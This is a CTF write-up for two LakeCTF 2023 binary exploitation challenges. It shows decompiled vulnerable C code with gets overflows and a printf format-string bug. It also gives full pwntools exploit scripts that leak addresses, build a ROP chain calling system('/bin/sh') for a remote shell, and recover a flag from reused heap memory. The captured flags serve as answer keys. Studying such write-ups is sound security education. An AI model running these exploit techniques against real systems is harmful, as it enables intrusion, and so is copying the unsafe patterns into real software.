LakeCTF 2023 Write ups

Scream Into The Abyss (90 solves / 50 points)

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall save_msg(unsigned int score)
{
char format[264]; // [rsp+10h] [rbp-110h] BYREF
const char *name; // [rsp+118h] [rbp-8h]

name = (const char *)calloc(8uLL, 1uLL);
printf("You can now scream a longer message but before you do so, we'll take your name: ");
fflush(_bss_start);
gets(name); // bof
printf("Saved score of %d for %s. Date and Time: ", score, name);
fflush(_bss_start);
system("date");
printf("Now please add a message: ");
fflush(_bss_start);
gets(format); // bof
puts("Your message:");
printf(format); // fsb
puts(byte_20B8);
return fflush(_bss_start);
}

There are many vulns.

I used name address to save ‘/bin/sh’.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

p = process('./abyss_scream')
p = remote('chall.polygl0ts.ch', 9001)
e = ELF('./abyss_scream')

pop_rdi = 0x13b5
ret = 0x0101a

p.sendlineafter('input:', b'x')
p.sendlineafter('name:', b'/bin/sh\x00')
p.sendlineafter('message:', b'%41$p_%49$p') # fsb, bof

# get name address and pie address using fsb
# name %41$p
# pie %49$p - 0x131e
p.recvuntil('message:\n')
name,pie = p.recvline().strip().split(b'_')
name = int(name, 16)
pie = int(pie, 16) - 0x131e
print(hex(name))
print(hex(pie))
e.address = pie

# call system() using bof
p.sendlineafter('input:', b'x')
p.sendlineafter('name:', b'/bin/sh\x00')

payload = b''
payload += b'A' * (264 + 8 + 8)
payload += p64(e.address + pop_rdi)
payload += p64(name)
payload += p64(e.address + 0x0101a)
payload += p64(e.symbols['system'])

p.sendlineafter('message:', payload)

p.interactive()

# EPFL{H3Y_C4LM_D0WN_N0_N33D_T0_SCR34M_S0_L0UD_1_C4N_H34R_Y0U!!!!!!}

capture the flaaaaaaaaaaaaag (63 solves / 50 points)

Analysis

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

There are all mitigations here. So I thought it would be as easy as just printing a flag, but it wasn’t.

Let’s dig into the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char ptr; // [rsp+Bh] [rbp-15h] BYREF
unsigned int i; // [rsp+Ch] [rbp-14h]
FILE *stream; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
stream = fopen("flaaaaaaaaaaaaag", "r");
if ( !stream )
{
puts("cannot fopen the flaaaaaaaaaaaaag");
exit(1);
}
if ( !fread(&ptr, 1uLL, 1uLL, stream) )
{
puts("cannot fread the flaaaaaaaaaaaaag");
exit(1);
}
if ( fclose(stream) )
{
puts("cannot fclose the flaaaaaaaaaaaaag");
exit(1);
}
printf(
"At polygl0ts we are very cool, so you get the first flaaaaaaaaaaaaag character for free : %c\n",
(unsigned int)ptr);
puts("Figure out the rest yourself !");
for ( i = 4; (int)i > 0; --i )
{
printf("You have %d action(s) left\n", i);
menu();
}
if ( feedback )
free(feedback);
puts("no actions left :(");
exit(0);
}

The fread internally calls malloc which will save the contents of the file. It has nothing to do with arguments of fread. After this, the heap memory is freed when fclose is called. This heap memory is only freed but not initialized, so its contents remain as is. It would be nice if I could reallocate this.

  • malloc at <_IO_doallocbuf+77> inside fread and free at <_IO_setb+84> inside fclose.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
unsigned __int64 menu()
{
int choice; // [rsp+0h] [rbp-50h] BYREF
int size; // [rsp+4h] [rbp-4Ch]
char *address[2]; // [rsp+8h] [rbp-48h] BYREF
FILE *stream; // [rsp+18h] [rbp-38h]
char buf[26]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
puts("1 - read from file");
puts("2 - read from memory");
puts("3 - send feedback");
printf("> ");
choice = 0;
__isoc99_scanf("%d%*c", &choice);
switch ( choice )
{
case 1:
*(_QWORD *)buf = 0LL;
*(_QWORD *)&buf[8] = 0LL;
printf("filename > ");
size = read(stdin->_fileno, buf, 0x10uLL);
if ( size <= 0 )
buf[0] = 0;
else
buf[size - 1] = 0;
stream = fopen(buf, "r");
if ( !stream )
{
printf("cannot fopen %s\n", buf);
exit(1);
}
if ( !fgets(&buf[16], 16, stream) )
{
printf("cannot fgets %s\n", buf);
exit(1);
}
if ( fclose(stream) )
{
printf("cannot fclose %s\n", buf);
exit(1);
}
puts(&buf[16]);
break;
case 2:
address[0] = 0LL;
printf("address > ");
__isoc99_scanf("%zx", address);
puts(address[0]);
break;
case 3:
address[1] = 0LL;
if ( feedback )
{
puts("sorry, but that's enough criticism for today !");
}
else
{
puts("please share your thoughts with us");
printf("> ");
getline(&feedback, &n, stdin);
puts("thank you !");
}
break;
default:
puts("invalid choice");
exit(1);
}
return v6 - __readfsqword(0x28u);
}

In case 1, I can open /proc/self/maps.

  • /proc: This directory contains information about processes and the system.
  • self: It’s a symbolic link to the process ID directory of the current process. So, /- proc/self refers to the process-specific directory for the process that accesses it.
  • maps: This file contains a list of memory mappings for the process.

In case 2, I can print the address where the given address is stored. So, I’ll get pie address using this.

In case 3, What is getline?
It calls malloc at <getdelim+110> inside getline. The heap address that was allocated when fread was called will be reallocated. And then, at <getdelim+248>, it receives a string from the keyboard and stores it in the heap.

1
2
Chunk(addr=0x555555559480, size=0x80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000555555559480 66 61 6b 65 5f 66 6c 61 67 00 00 00 00 00 00 00 fake_flag.......]

When I input one character like ‘A’ with the keyboard, 3 bytes are input, including ‘\n’ and NULL. So When I print this address using case 2, I need to give 0x555555559480 + 3 as input.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

# context.log_level = 'DEBUG'

# p = process('./capture_the_flaaaaaaaaaaaaag')
p = remote('chall.polygl0ts.ch', 9003)
e = ELF('./capture_the_flaaaaaaaaaaaaag')

# call `malloc` inside `getline`
# the address that was allocated when `fread` was called is reallocated.
# global variable `feedback` -> heap pointer -> heap (where flag was stored)
p.sendlineafter('>', b'3')
p.sendlineafter('>', b'A')

# leak pie address
p.sendlineafter('>', b'1')
p.sendlineafter('>', b'/proc/self/maps')
e.address = int(p.recvline().strip().split(b'-')[0], 16)
print(hex(e.address))

feedback = e.address + 0x4050
print(hex(feedback))

# get the heap address stored in `feedback`.
p.sendlineafter('>', b'2')
p.sendlineafter('>', hex(feedback))
heap = u64(p.recvline().strip().ljust(8, b'\x00'))
print(hex(heap))

# print the flag
p.sendlineafter('>', b'2')
p.sendlineafter('>', hex(heap+3)) # 'A\n\x00'

flag = p.recvline().strip().decode()
print('EPF' + flag)

p.interactive()

# EPFL{why_h4ve_a_s1ngle_ch4r4ct3r_wh3n_fread_gives_you_7he_wh0l3_fl4g}